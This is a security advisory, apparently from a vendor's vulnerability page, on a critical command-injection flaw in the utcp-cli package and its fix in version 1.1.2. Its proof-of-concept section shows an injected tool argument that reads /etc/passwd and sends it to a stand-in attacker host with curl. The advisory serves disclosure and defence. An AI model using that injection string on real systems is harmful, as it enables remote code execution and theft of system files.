CVE-2026-45369
CRITICALCVE-2026-45369 is a critical-severity (CVSS 10) OS Command Injection vulnerability in utcp-cli. O3 Security confirms whether CVE-2026-45369 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45369.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-45369 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
utcp-cliReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.
Affected File
plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py
Vulnerable Code
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
return str(tool_args[arg_name]) # No escaping applied
The substituted command is then embedded directly into a shell script:
script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')
And executed via:
shell_cmd = ['/bin/bash', '-c', script]
Proof of Concept
Given a tool defined as:
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
Calling with:
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
Produces and executes:
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)
This results in full Remote Code Execution on the host system.
Patched
Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).
Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.
Credit
Reported by @ZeroXJacks.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | utcp-cli | all versions | 1.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for utcp-cli. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update utcp-cli to 1.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45369 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-45369 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-45369. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-45369 in your dependencies?
O3 detects CVE-2026-45369 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.